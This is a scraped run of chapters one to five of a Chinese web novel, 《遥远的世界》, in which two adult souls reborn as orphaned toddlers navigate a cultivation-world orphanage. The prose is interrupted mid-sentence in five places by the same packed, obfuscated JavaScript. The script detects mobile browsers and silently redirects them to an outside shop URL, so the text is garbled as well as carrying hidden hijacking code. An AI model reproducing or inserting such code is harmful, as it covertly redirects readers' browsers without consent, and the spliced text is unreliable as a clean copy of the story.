《遥远的世界》 2. 第一章 活了? 因大病未愈,且婴儿视野有限,加上听不懂语言,所以在很长一段时间里,周青弄不清自己到底身置何处,总感觉像在做梦。 唯一有印象的就是那个老小孩,因为他的脸出现频率很高。 “汉长,我灶上炖着菜,你来喂妹妹。”张绣刚来育幼院没几天,管事的刘妈一上来就把年幼且伤病的柏氏兄妹指给她,还要兼顾厨房和针线活,每天忙的陀螺一般。 谁都知道刘妈在针对她,张绣心里也清楚,听说刘妈先前也荐了人,因为她来了,那边没来成,看不惯她也正常。 外头兵荒马乱的,能在城里有片瓦遮头,对她和孩子来说,已是天大的幸运,所以无论怎么被针对,这育幼院她都必须待下去。 “切~”张绣刚出门,一旁正围在火炉边做针线的蔡姓妇人对着门帘白一眼,“瞧那个妖娆的样儿,睡了个铁剑门的门子,真当自己成了少夫人,穿的白蝴蝶似的,给谁看。” 旁边两个妇人陪笑一下,偷偷互看一眼,都没吱声,整个育幼院算上刘妈,只有六个做事的婆子,彼此什么底细,大家都明镜似的,这蔡妈妈是刘妈荐来的,自然向着刘妈说话,她们惹不起。 那新来的张绣则是铁剑门荐来的,听传说门里一个姓陆的小管事的细姨,她们同样惹不起。 两边谁都不能得罪,只能夹缝里装聋作哑。 “这两个小东西也是怪了,来了几天,除了吃喝拉撒睡,竟一声不吭,莫不是痴子、哑巴不成?”蔡妈妈瞥一眼角落里的兄妹俩。 众人跟着望过去,只见小男孩正拿着小勺,一勺一勺的喂襁褓里的女娃吃米粥。 其中一个穿碎花袄的妇人见状叹气,“这小的看样子也就十来个月,病歪歪的,只吃米油哪里撑得住。” “可不,上天铁剑门那边荐来个有奶水的,这丫头抵死不张嘴,竟一口奶也不吃,只吃小米油,这天寒地冻的,也不知能撑多久。”搭话的是旁边一个穿天青比夹的妇人。 蔡妈妈冷哼一声,道,“各有各的命,咱们尽了人事便是,剩下就看她自己的命数了。”即便是死了,也是张绣的过失,他们铁剑门自己荐来的人,喂死了自己门里的孤幼,找不着别人的事,要么说还得是刘妈脑子灵光。 那厢三个妇人小声戚嗦着。 这厢小男孩则蹙眉看着襁褓中的婴儿,因为对方突然不再张嘴,只是瞪大眼睛奇怪的看着他,像是很惊恐,但惊恐中又带着一丝羞恼? 这羞恼不为别的,只为婴儿周青在感受到自己肚子咕噜一下的同时,某些东西不受控的排了出来…… 其实前几天,这种情况发生过多次,但因为周青一直处于半昏睡状态,所以感受没那么清晰。 眼下她却是清醒的。 对一个成人来说,排泄不受控制是件很可怕的事。 没错,成人,从睁开眼那天起,周青对自己的认知就是成人,虽然丢失了很多记忆,甚至一度连自己的名字都想不起来,但她知道自己绝对不是婴儿。 眼瞅着这小子试图伸手解她的襁褓,周青吓得一激灵,一双小肉手死死拽住襁褓的绑带,双目圆睁,怒瞪着对方,心说你小子要是敢扒开,回头……回头等我长大一点,非掐死你不可!呀——还拽是吧? 眼见这小子不打算停下来,周青急得大吼出声—— 听在旁人耳中却是“哇哇”的哭声。 她这一“哭”不要紧,把做针线的几个妇人,连带门口端着汤碗的张绣都给哭愣了,这丫头原来不是哑巴! “我的乖乖,终于是回魂了。”张绣急忙把汤碗放到桌上,听陆大哥说过,这俩孩子是从尸山血海里扒出来的,被吓丢了魂,这才不声不响的。大的虽然也不吭声,但比划几下,总还是明白人事,小的却跟丢了魂一样,不哭不闹不出声,一点活人样儿都没有,如今终于是回魂了。 穿碎花袄和天青比夹的妇人也赶忙放下手中活计,满口的天神保佑,“会哭就好,有活人气了。” 蔡妈妈站在最后头,撇撇嘴,但也没说什么难听话。 *** 所谓的育幼院,其实是东城几个小宗门一起出钱合开的孤幼所。 近年来战事不断,宗门孤幼增多,门内多事,没法专门派人照看这些孩子,放手不管又怕寒了弟子的心,所以几家小宗门的管事聚在一块商议了一番后,该出钱的出钱,该出力的出力,拢了一个小院子,专门照看这些失亲的孤儿。 柏氏兄妹便是从铁剑门的随营救出来的一对孤儿,救出来时,两个孩子都吓丢了魂,问不出所以然,之所以知道他们姓柏,全是因为他们旁边的一具残尸,残尸的护臂上绣着一个“柏”字。 铁剑门虽不大,但在外城还颇有些名气,开宗近百年来,也培养了不少弟子,很多弟子离开宗门后又开设了不少小型门派,这些小型门派多半也挂在铁剑门下,跟铁剑门属于一共共荣的关系。 柏家就是这些小门派的一员,可惜一场大战后,偌大的家族只剩下一对稚童。 铁剑门作为上宗老大,人家既然依附你,每年交那么多保护费,总不能临到头什么也不管,良不良心的倒在其次,主要还有那么多附属门派看着呢。 所以柏氏兄妹必须安置,而且要当着众人的面,在宗门大会上光明正大的安置。 陆丰是铁剑门的一名普通外门弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854191|191594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,因为身手不错,战前被外门管事临时提任了执事堂护卫,专门保护执事堂的几位账房先生——俗称的门子,战后又被派去战场收敛遗骸,柏氏兄妹就是他带回来的。 张绣之所以能来育幼院,也是拖他的关系。 张绣故去的丈夫大名叫林何荣,和陆丰是同一批入门的弟子,两人关系一直不错,林家原本在城外也是小有些田产的富足之家,这也是林何荣能进铁剑门的主要原因。 而陆丰恰恰相反,从小在乡下吃百家饭长大的孤儿,进铁剑门全凭一身蛮力,因为穷得叮当响,年轻时没少受林何荣的接济,所以林家败落后,他主动上门提出了帮忙。 “这羊奶送来的及时,我正发愁怎么喂这丫头。”张绣对陆丰是有好感的,这一点襁褓中的周青最清楚,因为这个灰袍中年每次来,张绣都会下意识整理衣衫和发髻。 “这丫头比上回来时,可精神多了。”陆丰望着怀里一眨不眨盯着自己的小丫头。 被称为小丫头——周青,此时终于看清了这位救命恩人的面貌,之前几次,因为离得远,她看不清,只能通过声音辨识,这回终于能看清了,长得不算俊,但很周正,加上这身魁梧的体魄,难怪张绣对他有好感。 “外头风大,去里头坐坐吧。”张绣掀开厨房的草帘子。 陆丰眼中却生出一丝尴尬,孤男寡女的,这个门可不好进,但也不好直接拒绝,只能将怀里的孩子递回去,回道,“账房的大相公明日要出城,我得回去准备车马。” 趁两人递孩子和接孩子的空挡,周青的视线在两人脸上逡巡一圈,嗯,这两人绝对有暧昧,连对视都不敢。 “那小子呢?”临走前,陆丰往院子里张望一眼? 张绣微微低眉,努力掩饰着眼中的失望,低道,“圆山居的大相公派人过来散点心,一早跟他们去了。” 听到“圆山居”三个字,陆丰的眼中闪出一抹不屑,战事紧要的时候,一粒粮食都不放,如今大局安稳了,跑来育幼院装善人,真有他们的,“我先去了,有什么需要,让人带个口信就行。” 张绣答应一声,抱着孩子目送他出门,回身时,见堂屋的门帘一阵翻滚,显然是有人在偷看。 这要是搁以前,她还会害怕,怕人误会她不检点,传闲话,如今倒是看开了,都沦落到卖身养家了,还有什么看不开的呢? “小丫头,看什么呢?”见怀里的小丫头一眨不眨地望着自己,张绣失笑,这丫头平时虽恹恹的,但偶尔一个眼神却机灵的让人心惊。 周青见她失笑,啊呀一声,眉梢微弯,竟也跟着笑了,因为她突然发现自己好像能听懂一点她的话了。 3. 第二章 东儿 至今为止,育幼院一共收拢了二十三个孤儿,年龄跨度从一岁到十一岁不等。 其中六岁以上的十五个,分男女,住在东边两间大屋。 六岁以下八个,不分男女,都睡在西里间,三间屋子都是大通铺。 大战刚刚平息,城里的食物和日用品十分匮乏,育幼院甚至连棉被都凑不齐,像西里间的九个孩子,只有三张棉被,所幸孩子们身量小,横过来勉强够用。 夜里睡觉最怕有睡觉不老实的,一个蹬腿挥手,其他人也跟着倒霉,守夜的人若是尽心还好,不尽心,孩子就会挨冻。 今晚是蔡妈妈守夜,她是出了名的一眼巡查,所谓一眼巡查,就是睡前看一眼。 这已经是柏汉长第二次被冻醒,睁开眼的刹那,瞳孔中的煞气被炉火映衬的晶亮。 不过晶亮很快转成了惊讶,因为他突然发现左手边的床位空空如也,那丫头人呢? 快速爬起身,前后左右翻找一遍,连隔壁的枕头都掀开了,仍旧一无所获,莫不是进贼了? 正打算下床穿鞋时,不期然踩到了一团软绵绵的东西,只听一声清浅的呼声,两人的视线一上一下对视着。 半盏茶的功夫后,柏汉长从角橱里抽出一块花布尿片,递给正背身生气的糯米团子——没错,她又尿床了,而且在她打算翻身消灭证据时,正巧被那个拽被子的家伙一把扯下了床。 “过去的事,你能记起来了?”这句话是问句,但从他口中说出来,更像是肯定句,“如果还想回到原来的世界,就不要再消极寻死,魂体已经粘合,在这里死掉,真就死了,不会再变回之前的灵体。” 说完这些话后,柏汉长狠狠踹一脚隔壁蹬被子的小子,随即扯过被子躺下。 大概半盏茶的功夫后,那只装死的糯米团子这才有所动作。 柏汉长闭着双目,感觉一团东西顾涌着钻进被子后,嘴角微微一扯,看来她已经能听懂他的话了。 周青的确明白了他的话意,虽然不是每个字都懂,但通过一些关键字,大概猜出了他的意思。 这小子果然跟她一样,都是鸠占鹊巢的外来者,而且他明显比她知道的多,到不妨看看他的打算。 *** 一夜大风后,巨灵城迎来了今冬第一场大雪。 由于粮食短缺,育幼院已经连着吃了好几天的稀粥和萝卜干。 一群正在长身体的孩子,一天两顿干饭都嫌不够,更别说清汤寡水的稀粥。 人一旦饿急了,兽性也会跟着暴起,婆子们瞅不到的时候,经常有孩子抢别人的饭,抢来抢去便乱作一团,尤其东屋那些年岁大的孩子,经常打得叽哇乱叫。 力气小的,在东屋打不过,就跑来西屋抢更小的。 张绣在的时候,柏家兄妹到不用担心,因为她会先给最小的喂饭。 这几日张绣有事不在,所以每到吃饭的时候,柏汉长都会先把西里间的门上栓。 当然,也有防不住的时候。 “谁上的栓?”两个八九岁大的皮小子从窗户爬进来后,指着门栓问桌前的一众孩子。 西里间的孩子最大也就六岁,被两个大孩子一喝,均是心惊胆裂,视线不由自主地望向柏汉长。 柏汉长正在给妹妹喂饭,没功夫理会那两个小屁孩,直到拳头到脸前时,才偏头躲了过去。 以成人角度来说,这两个小屁孩的身形虽然大了他一圈,但不难对付,拼力气不行,闪躲还是能做到的。 窗外几个起哄的小屁孩眼瞅着两人打不过,争先恐后的爬进来——今天必须让西屋这群毛毛虫见识一下谁才是老大。 所谓双拳难敌四手,一个人能躲过,两个人也凑活,三个四个可就不行了,柏汉长这副身体毕竟不满五岁,而且胳膊和腿先前还受过伤,几拳下来变成了围殴。 西屋的孩子毕竟年纪小,直接被这个场面吓懵了,根本想不到要上去帮忙。 床上的周青倒是想帮,奈何她现在连走路都不会,四下张望一眼,翻身在床上滚了两圈后,裹着枕头一骨碌翻下床,费了半天劲才爬到桌腿前。 这个破桌子早就坏的不成样子,垫着瓦片才能保持平衡,周青抠了半天,终于把瓦片抠错位,只听噼里啪啦几声乱响,桌上的盘子掉了,碗也倒了。 在周清的哭声带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854192|191594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动下,西里间霎时哭声震天。 在厨房躲闲的几个婆子终于被惊动了,骂骂咧咧的一路小跑着过来,中间因为里间的门被上栓,不得不从窗户爬进来,乱七八糟的折腾了好一阵儿,这才把打成一团的孩子扯开。 原本大家以为受伤最重的会是柏汉长,毕竟他是被围殴的,结果拉开一看,被打最重的却是最大、最壮实的那个,不但脸上青了,左耳垂还被咬下来半块,被拉开后,捂着耳朵哇哇大哭,指着柏汉长就想告状,却生生被对方的眼神吓退,只敢继续呜咽,连看都不敢再看他。 蔡妈妈一边拿抹布捂着那孩子耳垂,一边尖叫鸡似的破口大骂。 碎了这么些碗盘,若是让刘妈知道,势必要扣她们工钱。这些上不得台面的狗肉冻猫子,喂不熟的白眼狼!这得赔多少钱啊!“一个个的不学好,早晚都是去山里挖煤的料,一辈子趴在山沟里做爬虫,看你们还有没有力气扛爪子。” 几个婆子连推带搡的开始收拾残局,有不听话哭闹不止的,或打屁股,或拧腮帮子,拽到外头让他们继续嚎。 等一切收拾停当后,几个婆子凑在一块,戚戚索索小声聊了几句后,蔡妈妈一溜小跑的跑出院子,剩下的人则开始处理碎碗盘。 至于这顿饭,不管是吃过还是没吃的,到此为止,别想吃二次。 柏汉长站在角落里,抹一把肿胀的嘴角,有点鄙视这副弱不禁风的身体,居然让几个毛孩子给伤了。 周清被捡回床上后,一直静静坐在那儿,脸颊上还挂着一颗泪珠——不是哭出来的,是受凉后打喷嚏打出来的。 见柏汉长过来,她吸了吸鼻涕,一双小肉手伸出被窝,手里赫然抱着一块窝头——刚才他先给她喂了饭,作为回报,她当然要给他留点吃的,虽然是从地上捡的,但好歹也能充饥。 柏汉长也不嫌弃,接过窝头,跟她一道并排坐在床头,就这么吃了起来,吃到一半时,突然转头对她道,“东儿,柏东儿,你的名字。”今天有人来统计花名册,他临时给她取了个名字。 周青小嘴一撇,好随便的名字,看来还是要尽快学会说话,没有发言权连名字都做不得主。 4. 第三章 千字文? 东儿这个名字,周青适应了很长时间,等她完全适应时,已经可以下地走路了。 近日,有人给育幼院捐了几批布料,刘妈吩咐几个婆子加班赶工,争取月底让孩子们穿上新衣裳。 据说东城的各个宗门打算在五六月分招收新弟子,育幼院必然是他们显示各自仁德的地方,肯定会带人过来观看。 加班赶衣服这段时间,东儿一直跟着张绣吃穿,不为别的,只因这段时间育幼院正在灭虱。 大冬日的,没处洗澡,几个婆子也因为天气冷躲闲,没人注意孩子们的卫生问题,大点的孩子还知道自己换衣服,小的压根没有概念,又是睡得大通铺,一人生了虱子,一屋人都没办法幸免。 张绣因为公公去世,在家守了三个月的丧,回来时,东儿不但长出了六颗小米牙,还学会了说话,虽然发音不太清晰,但已经能清楚的表达意思,早慧的令人吃惊。 孩子们身上长虱子的事,也是东儿跟张绣说的,她指着自己的头说上面有虫子,张绣把兄妹俩的头发扒来仔细看过,确实有虱子,再看同屋的其他孩子,更是惨不忍睹,心下不禁一阵气闷。 临回去前,她跟蔡妈、何妈她们说过,大冬节气的,天气冷,不敢给孩子们洗澡,但要洗头、洗脚不能简省,外加还要勤换衣服,尤其西屋这几个小的,可见也没人把她的话当话。 这几日天气转暖,趁着晴天,刘妈吩咐几个婆子在院里架起四口大锅,把三间房的铺盖挨个煮了一遍,涮洗好后,又趁着正午最暖的时候,烧了几缸水放在大厨房,挨个把孩子们身上涮洗一遍。 只听大厨房一片扑通声,中间还夹杂着孩子的嬉笑,以及婆子们的咒骂。 “东儿,不跟哥哥一起洗吗?”张绣原本也是好意,这兄妹俩长虱子的情况很轻,把他们放一块洗,是怕被别人传染。 东儿——周青,死抱着张绣的手,打死不让她脱衣服。 一旁的柏汉长却像没事人一样宽衣解带,她干脆扭头抱住张绣的脖子,一眼也不看,心里还暗骂了一句“变态”。 她能接受看其他小男孩洗澡,唯独不能看这家伙,因为他不是小孩! 既然她这般坚持,张绣也没别的法子,把她放到一边。 “你自己洗?”张绣刚想上手帮柏汉长,他却对她摆摆手,这兄妹俩的性格还真是奇怪。 洗完澡,换上干净衣服后,张绣把碳炉拎到太阳最好的角落,靠着炉子,挨个替他们箅头发——昨天用藜芦水擦洗过,熬了一天,虱子差不多死光了,要把那些死掉的都箅掉方才干净。 张绣这人比较有耐心,也喜欢孩子,孩子也喜欢她,她在身边时,西屋的孩子都爱围着她,自然惹人吃味。 眼瞅着一堆孩子趴在她身上亲昵,几个婆子撇嘴斜眼的暗骂她狐狸精,连孩子都不放过。 “不叫‘他’,应该叫哥哥。”张绣纠正小丫头的语病,“咱们东儿长大了,是大姑娘了,要学会长幼有序。” 东儿趴在她的膝上微微撇嘴,什么哥哥,那家伙根本不是她哥,心理上不是,生理上也不是! 这几个月,随着她身体慢慢长大,丢失的记忆也恢复了一些片段,特别是来到这个世界后的那部分。 她和他根本就不是铁剑门柏家的孩子,之所以出现在铁剑门的随营,是那家伙一路把她背过去的。 这具身体的出处应该是在一辆马车里,似乎被某个已经死去的人紧紧护在胸口。 那家伙是后来出现的,出现时身上穿得破破烂烂,然而等陆丰发现他们时,却已经换了一身皮裘外袍,想必这也是陆丰认错他们的主要原因。 *** 全屋上下,彻底清洗除虱之后,东儿趴在床铺上,感觉通体舒畅。 自从发现身上长虱子后,这段时间真是度日如年。 许是刚晒过的被褥太温暖,眼一闭,竟然就这么睡了过去。 半梦半醒间,耳边不知从哪里传来一阵孩童的读书声:天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。寒来暑往,秋收冬藏…… 听到这儿时,东儿倏然张开双眸,这是……千字文? 一连串的猜想如多米诺骨牌般,在脑子里倒塌串联,一个大胆的猜测赫然出现在她的脑子里——这里难道是…… 来不及穿鞋,赤脚爬下床,顺着读书声一路来到东二间的门口,探出半颗小脑袋往里望去,在那里读书的是个七八岁大的女孩,上身穿一件蓝布对襟衫子,下身的月白裙子因为过于宽大,胡乱用针线免了半截,显得裙角特别厚重。 “听说了没?飞虎门一个新晋弟子是金水双灵根!”就在东儿脑中的猜想达到最顶峰时,隔壁传来的聊天声像一盆冰水般浇了下来,浇的她从头凉到脚。 这里果然不是她所想的那个世界,毕竟那个世界的双灵根只存在于玄幻小说里…… “张妈找你半天了。”柏汉长掰过那只偷看的小脑袋,勾起她的小肉手往西屋去。 因为情绪低落,东儿并没有挣开他的手,就这么安静的被他牵回西屋,由着张绣帮她擦脚,梳头。 张绣原打算带她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854193|191594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去值守的耳房睡觉,安排完其他孩子后,转头发现这丫头已经睡着了,也就没再多事。 午夜梦回时,伴着房间里的梦呓声,东儿坐在床角发呆,为这个荒唐的世界,以及她的荒唐遭遇,可惜记忆缺失,导致她根本弄不清自己为什么会出现在这个世界。 “当身体承受不了灵体能量时,灵体会自动封印自身,以保证自己能存活下来,你现在想再多也没用。”一道稚嫩的声音蓦然从床头传来。 东儿没有立即回应,等了一会儿才小声问道,“里(你)以前也是修仙的?”知道这么多,这家伙八成以前也是干这行的。 “我们那儿只有人,没有仙,只有修真,没有修仙。”仙凌驾于人,在他那个世界,只有人能凌驾于人之上。 “真落后。”东儿小声咕哝一句,咕哝完,嘴角微微一提,为他的坦诚,他这句话已经很明确在告诉她,他和她一样,都是这个世界的外来者——当知道有人跟她一样后,心情似乎好了不少。 趴在被褥上,悄悄凑近他身边,低声问道,“记得里(你)之前说棱(能)回去,是吧?” “这要看你我的能耐,至少——你得先把话说利索。”话都说不利索,说再多她也未必能听懂。 “……”她才一岁半,对身体的控制能力刚达到憋尿的程度,已经很努力了!可这种话又说不出口,气鼓鼓的想找些话来怼他,可想着想着,眼皮一耷拉,竟然睡着了,年轻就是好啊,倒头就睡。 听着她均匀的呼吸声,柏汉长将身上的被子分她一半,随后仰在枕头上,静静望着屋顶。 其实他跟她一样,也丢失了很多记忆,甚至可以说是九成九的记忆,因为他现在只能记得先天锻体那一部分,关于灵根觉醒方面的记忆一片模糊。 据他这七八个月的观察和道听途说,这个世界的修行境界划分,跟他的世界有很大差异,想进入这个世界的修行者行列,还需要长久的谋划。 至于身边这丫头……她灵体里的空间碎片是他们回到空间节点的唯一途径,这也是他费尽心力非要护住她的原因。 原以为她跟他属于同一个世界,因为记忆力,她灵体的衣着装扮跟他很接近,所以被陆丰救助的那晚,他才用母语跟她沟通,可惜猜错了。 两个不同世界的人,想要在第三个陌生世界进入主流修行者行列,这难度可不小。 思维如巨树根茎般慢慢向四下延伸着,延伸着…… 直到一切归于平静。 他也只是个五岁大的孩子,是孩子就需要睡眠。 5. 第四章 岁月如梭 对于初入学海的孩子来说,开蒙很重要,因为这是一个人由混沌蒙昧进入清明世界的初始阶段,需要教导者付出极大的耐心来引导。 但这情况不适于柏家兄妹,因为他们是成人,成人不可能一天只学几个笔画,当然,也没人帮他们请蒙师。 他们的认字方式很简单,就是翻译开蒙读物。 这个世界很神奇,有很多跟他们世界相似的东西,比如开蒙读物。 柏东儿通过千字文——这个世界叫做千故颂,学会了四百多个字,至于剩下的五百多字,只怪她小时候太懒,没背完。 柏汉长则是通过另一篇流传较广的开蒙读物,识得了数百字。 两人相互印证之后,一年多时间,已经能够进行简单的阅读。 他们之所以效率如此快,主要是因为三种文字都是由象形字而来的表意文字,互通性很强。 以柏东儿的视角来看,这里的文字有点像是变了形的篆体字,其中还夹杂了一些草体。 时间仿若天上的流云,无声的从育幼院的那方天空飘过,风吹雪落间,又一个寒冬来临。 在经过了一场说媒风波后,张绣终于鼓足勇气,戳破了她和陆丰之间的那层窗户纸。 陆丰是有点退却的,张绣毕竟是他亡友的妻子,心理上一时拐不过弯。 两人就这么纠缠了大半年,直到张绣决定接受上门说媒的人,陆丰这才想开。 冬节来临之前,两人办了一场小小的婚宴。 婚宴上还发生了一个小插曲,张绣的一双儿女不愿意向陆丰敬酒,不过很快在两边长辈的劝说下平息。 “陆伯伯把你叫过去,说了什么?”三岁多的柏东儿,头发已经长到耳后,育幼院的婆子没空帮她打理,平时只是简单扎两个羊角,今日因为参加喜宴,特意梳成了小丸子,丸子上还绑了一只赤色绒花,衬的整张脸粉雕玉琢,十分可爱,当然,其中也有一部分装可爱的缘故,毕竟这个年纪表现的太成熟确实有点吓人。 “他说铁剑门的几大作坊,正在招学徒,问我想不想去。”刚满七岁的柏汉长,身长足足蹿高了一头,模样也渐渐长开,颇有了些大孩子的样儿。 自从在随营救下他们兄妹后,陆丰一直对他俩很上心,大概是移情作用吧,听说他本人也是孤儿。 “你应了?”东儿歪头问道。 柏汉长点头,“应了,下个月初就要过去。”这个机会很难得,他不会放弃。 按照他原本的打算,是想在门内招收弟子的时候,借由柏家孤幼这个身份成为铁剑门的外门弟子,跟陆丰聊过之后,言谈之中看得出难度很大,现在毕竟不是两年前,此一时彼一时。 还有一个入门方式就是通过灵根测试,但这个方式危险性很大,一个没有家世的孤儿,灵根太好……他有过类似的经历,在有其他选择的时候,他可不想赌运气。 见他盯着自己半天不说话,东儿疑惑道,“你——不会是担心我偷跑吧?” “是怕你被饿死,吃个饭比乌龟还慢。”柏汉长没有多解释,接着她的话道。 “……”这已经不是他第一次揶揄她吃饭的问题了,次数太多,她也懒得再解释,“还是担心你自己吧,吃那么多也不见长肉,去了那里小心被人嫌弃。” 话到此,两人没再出声,一高一矮就这么并排走在雪地里。 走着走着,高的那个不知为什么,突然一伸腿,只听噗一声,矮的那个整个人扑在了雪地上。 摔跤的人到也没哭,只是歪头看了高的一眼,默默爬起身,拍了拍身上的雪片。 两人继续往前走,没走几步,矮的那个也有样学样,突然伸出小短腿,结果高的那个轻松跨越。 如此反复几次后,矮的那个终于愤怒,直接一个跳跃拽住高个的衣襟,两人一起摔在了雪地里。 ——杀敌八百,自损一千。 人演戏演多了,容易分不清自己是谁,是孩子?还是成人呢? *** 岁月如梭。 柏东儿八岁这一年,陆丰因为救助账房的大相公受了伤,伤好之后,在这位大相公的协助下,得到了一笔相当可观的补偿金,足够两口子在外城买间小房子,并维持不错的生活。 可不知什么原因,两人并没有买房子,反而在半年后,陆丰主动请调去了城外的矿山。 他们出城时,恰逢柏汉长有事外出,所以送行的只有妹妹柏东儿。 送完陆丰夫妇,回到育幼院时,蔡妈妈正在骂人,据说厨房早上炖了五斤牛肉,不知被谁偷吃了小半。 “不过两斤牛肉,嚎了这么半天,也不嫌累。”慧纹是今年入秋时刚过来的,比东儿大两岁,住在东屋单独隔出来的小隔间里。 像她这样的女孩还有三个,同样住在东屋的隔间里,都是今年新来的。 这几人平时跟他们并不在一处吃饭,今天过冬节,这才坐到一间屋里,却是分了两桌。 如今的育幼院跟早年大不相同了,早年的那些孩子,过了十二岁,男孩要么进作坊当学徒,当不上学徒的,就去外城的矿山。 女孩则是进绣坊,又或者早早被人下聘。 有些女孩模样生的好,甚至不到十二,就有人来说媒,像柏东儿,今年年初就有人过来打听她,碍于她背后有陆丰护着,一般人不敢造次。 早先的二十几个孩子,出走的出走,外聘的外聘,还有几个因病早逝的,如今剩下的也不过七八个,其他十来个也是这几年陆续进来的。 尤其今年,漂亮的女娃扎堆似的进来,而且都是特殊待遇,单独隔房间,单独吃饭,甚至每隔几天还有各种老师特别过来教导她们技艺。 几个女孩里,只有这个叫慧纹的,经常会过来跟他们搭话,其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854194|191594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人平时连看都不会多看他们一眼。 “我早上过来找你,他们说你出去了。”见东儿身旁有空位,慧纹挪身坐了过来。 “有认识的人要出城,送行去了,你找我有事?”东儿还挺喜欢这小丫头,虽然偶尔也会气势凌人,但骨子里并没有看不起他们。 “你跟我来。”慧纹牵起东儿的手指,非要拉她去自己房间。 拗不过,只能随她过去,中途遇到其他三个女孩,三人看她们的眼神略带嘲讽。 这让东儿颇为感慨,想当年她在这个年纪时,还在背“形物代”和“山一程,水一程”呢?这些女孩却已经学会了这么高难度的偶像剧表情,差别真不是一般大。 “别理她们,整天净想着怎么欺负人,没一个好心眼。”慧纹拉着东儿去自己房间。 一进门就闻到一股淡淡的茉莉花香。 屋里的陈设很简单,靠东墙摆了一只一人高的乌木衣橱,衣橱后是一张三尺多宽的小床,床边靠窗的位置摆了一张两尺见方的乌木桌,桌旁放了一只乌木的圆头杌子。 桌上除了一摞书籍外,只放了一只细腰白釉的瓷瓶,瓷瓶里插着一株不知名的长叶草。 这摆设虽简单,但搭配着白墙和窗外的雪景,竟别有一番意境,想不到这女孩小小年纪,审美居然如此简洁、风雅。 “你也觉得寡淡吧?”见东儿打量她的房间,慧纹小大人似的叹口气,“阿嬷说这样摆,别人会觉得我内秀,不许我乱折腾,左不过也就这几天了,等遴选过去,我就能回家了。”说话间,拉开衣橱门,一堆衣袍应声滚落。 “……”看着这个情形,东儿一阵无语,同时又觉得这位大小姐真实的有点可爱。 “你看你喜欢哪件?”慧纹把衣袍一股脑堆在床上,示意东儿自己选。 见东儿不选,自己动手,一件件在她身上比划。 折腾了好一阵儿,直到蔡妈妈过来喊她们吃饭,才算作罢。 吃过饭后,又拽着东儿去她房间试衣服。 一直待到天色上黑,这位大小姐才打哈欠送人。 东儿也在聊天中弄明白了这些女孩的来历——东城各宗的大小姐,什么长老的孙女,堂主的外甥女,门主夫人的妹妹,来头都不小。 这么多贵人之所以扎堆来育幼院,为的就是即将到来的一场圣女遴选,至于是什么圣女,以及这些圣女被选去做什么,为什么会到育幼院来选,那个叫慧纹的丫头自己也闹不明白,纯纯就是被家里送来的。 而她之所以要送东儿衣袍,是因为被其余几个女孩孤立了,心里不服气,想把东儿打扮好,遴选时抢那几人的风头。 东儿纳闷她为什么不自己去抢她们风头,慧纹回道:你比我长得好看啊。 这句话提醒了东儿,这具身体已经长到了可以被评判容貌的年纪,这可不是什么好事,得提早预防。 6.第五章 杂书看多了吧,你? 自打成为炼器坊的学徒后,柏汉长很少有机会出门。 陆丰在外门时,还能请他带些银钱给柏东儿,调去矿山后,只能另寻他人。 巧的是帮外门炼制刀剑时,遇到一个熟人——当年被他咬掉半块耳垂的男孩,如今改了名字,大号袁育杰,据说在铁剑门当学徒没两年,被一名姓袁的账房看上了,入赘了他家,如今借着岳丈的关系,常在外门揽些杂活。 认出彼此后,两人不免多聊了两句,别看这袁育杰还不满十九,却已经是两个孩子的父亲,在外门行走数年,人际交往也颇为老道。 在打听到柏汉长已是炼器坊大学徒,并且能够单独开炉后,袁育杰的结交之心拳拳,一得空就溜到炼器坊来套近乎。 柏汉长也乐得有他这个跑腿,一些银钱之类的,也放心让他带去育幼院。 “小老弟,没有你在鲁大师跟前说话,哥哥我也揽不到运送矿料这活,回头等我从矿山回来,一准请你去酒楼吃酒。”袁育杰捧着茶盅,起身给柏汉长倒茶。 